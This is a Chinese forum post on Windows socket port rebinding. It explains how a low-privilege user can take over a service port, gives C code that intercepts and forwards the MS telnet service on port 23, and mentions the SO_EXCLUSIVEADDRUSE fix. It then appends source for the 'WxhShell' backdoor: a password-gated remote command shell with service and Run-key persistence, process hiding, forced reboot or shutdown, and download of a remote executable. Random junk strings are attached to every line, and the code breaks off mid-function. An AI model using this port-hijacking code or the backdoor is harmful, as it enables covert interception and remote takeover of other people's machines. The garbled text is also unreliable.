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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: LPXi+zj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '(6z. toQ  
XE RUo  
  saddr.sin_family = AF_INET; 50h! X9  
_IMW {  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v@sIHb  
qfF~D0}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D'>_I.  
H.P_]3f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IuDS*/Sx  
?Rb9|`6  
  这意味着什么?意味着可以进行如下的攻击: 4X/-4'  
3=#<X-);  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rCEyQ)R_}  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h#I>M`|  
$V;i '(&7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xh-o}8*n"  
z9f-.72"X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1}+3dB_s  
(le9q5Qr.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Bg=wKwc8  
=}^9 wP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AD> e?u  
:]K4KFM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cdH>n)  
E, Z$pKL?  
  #include XTs8s12  
  #include _~m5^Q&  
  #include L<c4kw  
  #include    t|?ez4/{z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j a[Et/r  
  int main() J`Q>3] wL  
  { $GV7o{"&  
  WORD wVersionRequested; zC:ASt  
  DWORD ret; b)#hSjWO#  
  WSADATA wsaData; -:^U_FL8un  
  BOOL val; n)/z0n!\  
  SOCKADDR_IN saddr; ZmqKQO  
  SOCKADDR_IN scaddr; wVXS%4|v  
  int err; &<g|gsG`  
  SOCKET s; f^ZRT@`O  
  SOCKET sc; Rr$-tYy6  
  int caddsize; Oxnp0 s  
  HANDLE mt; FgnTGY}  
  DWORD tid;   t^-d/yKt0w  
  wVersionRequested = MAKEWORD( 2, 2 ); R+:yVi[F]U  
  err = WSAStartup( wVersionRequested, &wsaData ); OF>mF~  
  if ( err != 0 ) { 2>9C-VL2  
  printf("error!WSAStartup failed!\n"); 1.JK3 3  
  return -1; ZgJQ?S$D  
  } L&8~f]  
  saddr.sin_family = AF_INET; jwe*(k]z  
   lgAoJ[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g9pZ\$J&  
h f)?1z4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mM~qBrwL  
  saddr.sin_port = htons(23); *"2+B&Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sjTZF-  
  { S>+|OCl";  
  printf("error!socket failed!\n"); OKZV{Gja  
  return -1; 234p9A@  
  } GMx&y2. Z  
  val = TRUE; Xq4O@V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E =67e=h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R-wp9^  
  { S\EyCi+  
  printf("error!setsockopt failed!\n"); f%JIp#B  
  return -1; z kP_6T09  
  } f5"k55}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YMyfL8bO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  ~NgA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b6M[q_   
;C#F>SG\S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (#c*M?g3  
  { &E F!OBR  
  ret=GetLastError(); \sixI;-2  
  printf("error!bind failed!\n"); 2DrM3ZU8  
  return -1; 9=M$AB  
  } ;+_:,_  
  listen(s,2); ~At7 +F[  
  while(1) Kn{4;Xk\  
  { 3NqB <J  
  caddsize = sizeof(scaddr); \\ij(>CI  
  //接受连接请求 :G=fl)!fE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ny7S  
  if(sc!=INVALID_SOCKET) 5I;&mW`1,`  
  { "cGk)s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2nObl'ec  
  if(mt==NULL) =J==i?  
  { Paq4  
  printf("Thread Creat Failed!\n"); ~_)^X  
  break; @;4zrzQi7  
  } G>=*yqo  
  } octL"t8w  
  CloseHandle(mt); s^TZXCyF o  
  } ?81c 4w  
  closesocket(s); @{e}4s?7od  
  WSACleanup(); ]q[D>6_  
  return 0; i"FtcP^  
  }   zk+9'r`-D  
  DWORD WINAPI ClientThread(LPVOID lpParam) {z|)Njhg  
  { ,ng Cv;s  
  SOCKET ss = (SOCKET)lpParam; S?LQu  
  SOCKET sc; Po0A#Zl  
  unsigned char buf[4096]; {WS;dX4  
  SOCKADDR_IN saddr; klYX7?  
  long num; Dpac^ST  
  DWORD val; <dNOd0e  
  DWORD ret; 3`?7 <YJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T<>,lQs(a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E=Bf1/c\  
  saddr.sin_family = AF_INET; RC"MdcD:]y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B mb0cF Q  
  saddr.sin_port = htons(23); "{xrL4BtC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m7V/zne  
  { w.o@7|B1N  
  printf("error!socket failed!\n"); W i.& e  
  return -1; VGN5<?PrN  
  } !|uWH  
  val = 100; `RW HN/U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Uc>lGo1j  
  { Z\rwO>3  
  ret = GetLastError(); 4"ZP 'I;  
  return -1; LOYk9m  
  } G!##X: 6'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C.P*#_R  
  { MjRHA^b  
  ret = GetLastError(); $HzBD.CF|x  
  return -1; =XQ%t @z0  
  } RP|`HkP-2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DCa^ u'f  
  { -i|}m++  
  printf("error!socket connect failed!\n"); Gz0]}]A  
  closesocket(sc); G*MUO#_iuh  
  closesocket(ss); >R_&Ouh:  
  return -1; 1&OW4_  
  } .Hm>i  
  while(1) 3}1u\(Mf  
  { $I>w]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T>Z<]s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 re<{ >  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t@;p  
  num = recv(ss,buf,4096,0); wlvgg  
  if(num>0) @HCVmg:  
  send(sc,buf,num,0); OT*mO&Z  
  else if(num==0) I{2hfKUe`  
  break; @mBQ?; qlK  
  num = recv(sc,buf,4096,0); 0+ '&`Q!u  
  if(num>0) $PPi5f}HD  
  send(ss,buf,num,0); 7]bGc \  
  else if(num==0) (t|Zn@uY  
  break; |df Pki{  
  } Qv-_ jZ  
  closesocket(ss); JQI: sj  
  closesocket(sc); w& #]-|$  
  return 0 ; yyJ  f%{  
  } t{kG<J/l  
CRE3icXbQ  
RqrdAkg  
========================================================== T^KKy0ZGM  
X_h}J=33Q  
下边附上一个代码,,WXhSHELL cT,sh~-x,  
m(!FHPvN  
========================================================== Fxz"DZY6  
xp{tw$  
#include "stdafx.h" [q -h|m  
eym4=k ~  
#include <stdio.h> " 8MF_Gu):  
#include <string.h> 7$=In K  
#include <windows.h> 0S~rgq|O  
#include <winsock2.h> tWRC$  
#include <winsvc.h> oc`H}Wvn  
#include <urlmon.h> IJ"q~r$  
`^&OF u ee  
#pragma comment (lib, "Ws2_32.lib") T5h H  
#pragma comment (lib, "urlmon.lib") T8g$uFo  
%u'u kcL7  
#define MAX_USER   100 // 最大客户端连接数 ,qxu|9L  
#define BUF_SOCK   200 // sock buffer *] X'( /b_  
#define KEY_BUFF   255 // 输入 buffer ez$(c  
C'x&Py/#  
#define REBOOT     0   // 重启 e7 o.xR  
#define SHUTDOWN   1   // 关机 |{ip T SH  
.k !{*  
#define DEF_PORT   5000 // 监听端口 bH~dJFj/  
fHFE){  
#define REG_LEN     16   // 注册表键长度 4r}51 N\  
#define SVC_LEN     80   // NT服务名长度 hgq;`_;1,  
*EH~_F  
// 从dll定义API /N{*"s2)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <P_-s*b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zh~'9 JH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mfr|:i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zb3t IRH  
a7opCmL  
// wxhshell配置信息 B+`g> h  
struct WSCFG { CU0YIL  
  int ws_port;         // 监听端口  ob]w;"  
  char ws_passstr[REG_LEN]; // 口令 W>r+h-kR  
  int ws_autoins;       // 安装标记, 1=yes 0=no J&_n9$  
  char ws_regname[REG_LEN]; // 注册表键名 RA 6w}:sq7  
  char ws_svcname[REG_LEN]; // 服务名 9(Xn>G'iT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Di{de`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wCBplaojJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :ws<-Qy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m&3xJuKih  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :3 mh@[V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }GM'.yutX  
tH4B:Bgj!  
}; Ewz!O`  
6u6x  
// default Wxhshell configuration [-w%/D%@  
struct WSCFG wscfg={DEF_PORT, *-X[u:  
    "xuhuanlingzhe", ?Bmb' 3  
    1, :`sUt1Fw.  
    "Wxhshell", uxz^/Gk  
    "Wxhshell", 2~V*5~fb  
            "WxhShell Service", Fr-SvsNFB  
    "Wrsky Windows CmdShell Service", 7tp36TE  
    "Please Input Your Password: ", l[J8!u2Xp  
  1, P+}h$ _x  
  "http://www.wrsky.com/wxhshell.exe", *4 n)  
  "Wxhshell.exe" zQ PQ  
    }; =_^X3z0  
K=&>t6s<  
// 消息定义模块 k5)om;.w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q^nVN#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;.C\Ss<>*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q3`u1S7Z7  
char *msg_ws_ext="\n\rExit."; vDvFL<`vmD  
char *msg_ws_end="\n\rQuit."; O6Y0XL  
char *msg_ws_boot="\n\rReboot..."; j<$2hiI/?&  
char *msg_ws_poff="\n\rShutdown..."; l,).p  
char *msg_ws_down="\n\rSave to "; G~m<;  
2<3K3uz  
char *msg_ws_err="\n\rErr!"; !R$`+wZ62  
char *msg_ws_ok="\n\rOK!"; B5QFK  
5V-I1B&  
char ExeFile[MAX_PATH]; wIgS3K  
int nUser = 0; KPki}'GO  
HANDLE handles[MAX_USER]; p ll)Y  
int OsIsNt; < %Y}R\s?  
Vvo 7C!$z  
SERVICE_STATUS       serviceStatus; ;VK.2^jW!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f QFk+C  
'"Nr,vQo  
// 函数声明 gG uO  
int Install(void); 05R@7[GWq  
int Uninstall(void); HOi`$vX }N  
int DownloadFile(char *sURL, SOCKET wsh); y`Z\N   
int Boot(int flag); Wn6Sn{8W{  
void HideProc(void); 1;iUWU1@  
int GetOsVer(void); ry]l.@o;  
int Wxhshell(SOCKET wsl); W*G<X.Hf  
void TalkWithClient(void *cs); QGz|*]  
int CmdShell(SOCKET sock); + T+#q@  
int StartFromService(void); \7_y%HR  
int StartWxhshell(LPSTR lpCmdLine); zm#  ?W  
K NOIZj   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [>9is=>o.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <ZW-QN4  
YkADk9fE  
// 数据结构和表定义 A}w/OA97RO  
SERVICE_TABLE_ENTRY DispatchTable[] = ?A0)L27UE&  
{ O0:q;<>z  
{wscfg.ws_svcname, NTServiceMain}, |BYRe1l6l  
{NULL, NULL} ykJ>*z  
}; $Kd>:f=A  
7$#u  
// 自我安装 kf9X$d6   
int Install(void) ; @X<lCk  
{ Bp{Ri_&A  
  char svExeFile[MAX_PATH]; bK7J}8hH  
  HKEY key; d_ CT $  
  strcpy(svExeFile,ExeFile); MfkZ  
d=^z`nt !R  
// 如果是win9x系统,修改注册表设为自启动 /V By^L:  
if(!OsIsNt) { cb bFw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c",*h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8EY:t zw  
  RegCloseKey(key); q\)-BXw:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zd&S@Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ('~LMu_  
  RegCloseKey(key); &Qm@9Is  
  return 0; V6Dbd" i9  
    } tp|d*7^i  
  } $ Q0n  
} 31)&vf[[  
else { P2Y^d#jO  
Kpp_|2|@<  
// 如果是NT以上系统,安装为系统服务 Y*hCMy;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h];I{crh  
if (schSCManager!=0) 2SLU:=<3  
{ rlD8D|ZG  
  SC_HANDLE schService = CreateService /RF7j;  
  ( nFn5v'g  
  schSCManager, N21smC}  
  wscfg.ws_svcname, ;kK/_%gN-G  
  wscfg.ws_svcdisp, adw2x pj  
  SERVICE_ALL_ACCESS, I:.s_8mH}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g&.=2uP  
  SERVICE_AUTO_START, r*Xuj=  
  SERVICE_ERROR_NORMAL, #;<Y[hR{P  
  svExeFile, KSL`W2}  
  NULL, g .\[o@H  
  NULL, 8ipez/  
  NULL, Debv4Gr;^  
  NULL, =lC7gS!U  
  NULL n:X y6H  
  ); = / 8cp  
  if (schService!=0) Ep}s}Stlr}  
  { W8<%[-r  
  CloseServiceHandle(schService); %$mA03[MQ  
  CloseServiceHandle(schSCManager); s@C}P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H>C=zo,oiC  
  strcat(svExeFile,wscfg.ws_svcname); qWw=8Bq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Uz7<PLxd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Mfs?x a  
  RegCloseKey(key); NO3/rJ6-  
  return 0; g+l CMW\  
    } 2?x4vI np;  
  } BuwY3F\-O  
  CloseServiceHandle(schSCManager); Lr<cMK<  
} 4R*,VR.K  
} `2snz1>!j  
u&NV,6Fj2[  
return 1; *] (iS  
} }M+7 T\ J!  
M?qy(zb  
// 自我卸载 $u.z*b_yy  
int Uninstall(void) D]}G.v1  
{ Yz bXuJ4  
  HKEY key; .u:GjL'$  
7 3m1  
if(!OsIsNt) { "}!G!k:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8_8l.!~  
  RegDeleteValue(key,wscfg.ws_regname); #F#%`Rv1  
  RegCloseKey(key); nwWJ7M,A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KSvE~h[#+  
  RegDeleteValue(key,wscfg.ws_regname); :r[`.`  
  RegCloseKey(key); ise-O1'  
  return 0; +0~YP*I`/  
  } ]! dTG  
}  J *yg&  
} yw!{MO  
else { P'2Qen*  
/ouPg=+Nl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g ?k=^C  
if (schSCManager!=0) R8 T x[CJ5  
{ T |p"0b A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ngwb Q7)  
  if (schService!=0) s>en  
  { H.c7Nle  
  if(DeleteService(schService)!=0) { 25T18&R  
  CloseServiceHandle(schService); G"6 !{4g  
  CloseServiceHandle(schSCManager); O}P`P'Y|'  
  return 0; OPi0~s  
  } ~BF&rx5Q  
  CloseServiceHandle(schService); j6YOKJX  
  } ;,TFr}p`  
  CloseServiceHandle(schSCManager); \8 ":]EU  
} Tk>#G{Wb-  
} rUl+  
:+Z%; Dc  
return 1; \lY_~*J  
} ebq4g387X  
:Al!1BJQ  
// 从指定url下载文件 @,}UWU  
int DownloadFile(char *sURL, SOCKET wsh) DqPw#<"H  
{ !<oe=)Iz|  
  HRESULT hr; 2/f}S?@   
char seps[]= "/"; ; KA~Z5x;  
char *token; *#2h/Q.  
char *file; Fs{*XKv&lH  
char myURL[MAX_PATH]; omFz@  
char myFILE[MAX_PATH]; @7u0v  
N;R^h? '  
strcpy(myURL,sURL); LLI.8kn7  
  token=strtok(myURL,seps); ==B6qX8T  
  while(token!=NULL) 4 :v=pZ  
  { 83m3OD_y  
    file=token; G5!^*jf  
  token=strtok(NULL,seps); <$YlH@;)`a  
  } E{\2='3\  
Y@v>FlqI{  
GetCurrentDirectory(MAX_PATH,myFILE); YQ} o?Q$z  
strcat(myFILE, "\\"); Fcx&hj1gQ  
strcat(myFILE, file); }qUX=s GG  
  send(wsh,myFILE,strlen(myFILE),0); NRuNKl.v  
send(wsh,"...",3,0); Fu~j8K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); df=f62  
  if(hr==S_OK) :]"V-1#}  
return 0; gIfh3D=yX  
else uO**E-`  
return 1; 3R/bz0 V>  
NHt\ U9l'  
} [7-?7mp!B  
V+\Wb[zDJ  
// 系统电源模块 DDZ@$L!  
int Boot(int flag) q)GdD==  
{ k+ /6$pI  
  HANDLE hToken; 46x'I(  
  TOKEN_PRIVILEGES tkp; yauvXosX  
LD?sh"?b  
  if(OsIsNt) { l]vm=7:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _aphkeqd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xk5 ]^yDp  
    tkp.PrivilegeCount = 1; jdN` mosJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YUb_y^B^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RCrCs  
if(flag==REBOOT) { ;a/E42eN;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u +hX  
  return 0;  }ZI7J  
} l{9Y  
else { Sz~OX6L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S/ *E,))m  
  return 0; =I<R!ZSN  
} aXVFc5C\  
  } (:_$5&i7  
  else { hp2t"t  
if(flag==REBOOT) { NbobliC=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e.>P8C<&  
  return 0; #E[0ys1O  
} #c J@uqR  
else { 7$b1<.WX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H\ %7%  
  return 0; s iaG'%@*r  
} M:8R -c#![  
} ?[AD=rUC  
Z;i:](  
return 1; E./2jCwI(Y  
} O^.#d  
~&T~1xsFJ  
// win9x进程隐藏模块 \m,PA'nd/  
void HideProc(void) LLo;\WGZ  
{ Hz~zu{;{J  
CAJ'zA|o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r$1Qf}J3=  
  if ( hKernel != NULL ) |>Vb9:q9Po  
  { ok[i<zl; '  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ixFi{_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eDMO]5}Ht  
    FreeLibrary(hKernel); 1^}+=~  
  } -~0^P,yQ  
hrn+UL:d  
return; uD'6mk*  
} &&+H+{_Q  
]'}L 1r  
// 获取操作系统版本 )UR7i8]!0  
int GetOsVer(void) QY/w  
{ zdYjF|  
  OSVERSIONINFO winfo; \<' ?8ri#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DF= *_,2/  
  GetVersionEx(&winfo); CY1Z'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \Z/@C lCm  
  return 1; s#11FfF`  
  else o4X{L`m  
  return 0; Z~CjA%l  
} WMdg1J+~  
JI}'dU>*U:  
// 客户端句柄模块 rH-23S  
int Wxhshell(SOCKET wsl) NOva'qk  
{ %Zi} MPx  
  SOCKET wsh; $I=~S[p  
  struct sockaddr_in client; nKY6[|!#  
  DWORD myID; xEI%D|)<  
;`&kZi60Hz  
  while(nUser<MAX_USER) cr3^6HB  
{ py4 h(04u  
  int nSize=sizeof(client); #a6iuO0I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $mILoy B,  
  if(wsh==INVALID_SOCKET) return 1; !zo{tI19  
N)T}P\l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]esC[r]PJ  
if(handles[nUser]==0) ^sw?gH*  
  closesocket(wsh); Ew N}l  
else aOp\91  
  nUser++; wT@og|M  
  } icgfB-1|i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l **X^+=$  
dH!*!r>  
  return 0; U6K|fY N`  
} \D4:Nt#  
CTb%(<r  
// 关闭 socket ]G\}k  
void CloseIt(SOCKET wsh) AH^/V}9H  
{ I,tud!p`  
closesocket(wsh); { FkF  
nUser--; &Jj<h: *  
ExitThread(0); /wp6KXm  
} `3pW]&  
Y]>t[Lo%  
// 客户端请求句柄 hb$Ce'}N  
void TalkWithClient(void *cs) 3BI1fXT4=j  
{ s!J9|]o  
jd: 6:Fm  
  SOCKET wsh=(SOCKET)cs; 1?}T=)3+$  
  char pwd[SVC_LEN]; V!Uc(  
  char cmd[KEY_BUFF]; 6m93puY`7  
char chr[1]; & 21%zPm  
int i,j; ZVBXx\{s  
KO [Yi  
  while (nUser < MAX_USER) { ?< +WG/(d  
@{Q4^'K"  
if(wscfg.ws_passstr) { S[gx{Bxiw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7#XzrT]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dd;~K&_Q/i  
  //ZeroMemory(pwd,KEY_BUFF);  ?9/G[[(  
      i=0; sRs>"zAg  
  while(i<SVC_LEN) { dV_G1'  
]^E?;1$f?  
  // 设置超时 la!~\wpa  
  fd_set FdRead; dPlV>IM$z  
  struct timeval TimeOut; "jZ-,P=  
  FD_ZERO(&FdRead); V gWRW7Se  
  FD_SET(wsh,&FdRead); ^q5#ihM  
  TimeOut.tv_sec=8; XS#Qu=,-  
  TimeOut.tv_usec=0; Hl"N}   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `yyG/l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6x`t{g]f,  
QRUz`|U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -w2/w@&  
  pwd=chr[0]; J1k>07}|  
  if(chr[0]==0xd || chr[0]==0xa) { Et$2Y-L.  
  pwd=0; 04ui`-c(  
  break; Lbgi7|&  
  } Wr 4,YQM  
  i++; XFl 6M~ c  
    } }bxs]?OW>  
c 9Mz]1@f  
  // 如果是非法用户,关闭 socket 7Q 3k 7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Txu/{ M,  
} #qki  
y29m/i:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IGl9 g_18  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M`_0C38  
HMXE$d=[  
while(1) { BmT!aue  
C|bET  
  ZeroMemory(cmd,KEY_BUFF); >4TO=i  
z{ dEC %  
      // 自动支持客户端 telnet标准   &C}*w2]0S  
  j=0; =_CzH(=f#  
  while(j<KEY_BUFF) { Mx}gN:Wt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5P2K5,o|n~  
  cmd[j]=chr[0]; '1[Ft03  
  if(chr[0]==0xa || chr[0]==0xd) { cAw/I@jG  
  cmd[j]=0; &oNAv-m^GD  
  break; Rq-ZL{LR7  
  } -"x$ZnHU  
  j++; E .h*g8bXe  
    } 0GwR~Z}Z  
6tZI["\   
  // 下载文件 zLQx%Yg!  
  if(strstr(cmd,"http://")) { }MySaL>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >*bvw~y,  
  if(DownloadFile(cmd,wsh)) ".%k6W<n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g)-te+?6  
  else ]L jf?tk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %d @z39-;  
  } [),ige  
  else { C!gZN9-  
Ry&6p>-  
    switch(cmd[0]) { Wwo0%<2y  
  e-;}366}  
  // 帮助 !WlH'y-I  
  case '?': { sO Y:e/_F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A/(a`"mK|'  
    break; _c07}aQ ],  
  } (FV >m  
  // 安装 (7Qo  
  case 'i': { DU^loB+  
    if(Install()) ceA9) {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }V>T M{  
    else U$g?!Yl0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f);FoVa6  
    break; MV"=19]  
    } cQ|NJ_F{1  
  // 卸载 XppOU  
  case 'r': { ZCw]m#lS  
    if(Uninstall()) NK+o1   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KvS G;  
    else \vNU,WO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xw%0>K[  
    break; {g6%(X\r.r  
    } 1C.VnzRnJ  
  // 显示 wxhshell 所在路径 :UdF  
  case 'p': { }Z>)DN=+  
    char svExeFile[MAX_PATH]; `oJ [u:b  
    strcpy(svExeFile,"\n\r"); KoYF]  
      strcat(svExeFile,ExeFile); pAEx#ck  
        send(wsh,svExeFile,strlen(svExeFile),0); CTK;dM'uQ  
    break; /reX{Y  
    } u2I Cl  
  // 重启 BUFv|z+H  
  case 'b': { =a!=2VN9y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); & kIFcd@  
    if(Boot(REBOOT)) :&Nbw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p_ =z#  
    else { G3]4A&h9v~  
    closesocket(wsh); E7hhew  
    ExitThread(0); rNM;ZPF#  
    } ?%86/N>  
    break; w!CNRtM:~  
    } 6zkaOA46V  
  // 关机 B!yr!DWv  
  case 'd': { 3T 9j@N77  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -&f$GUTJ  
    if(Boot(SHUTDOWN)) |{;G2G1[  
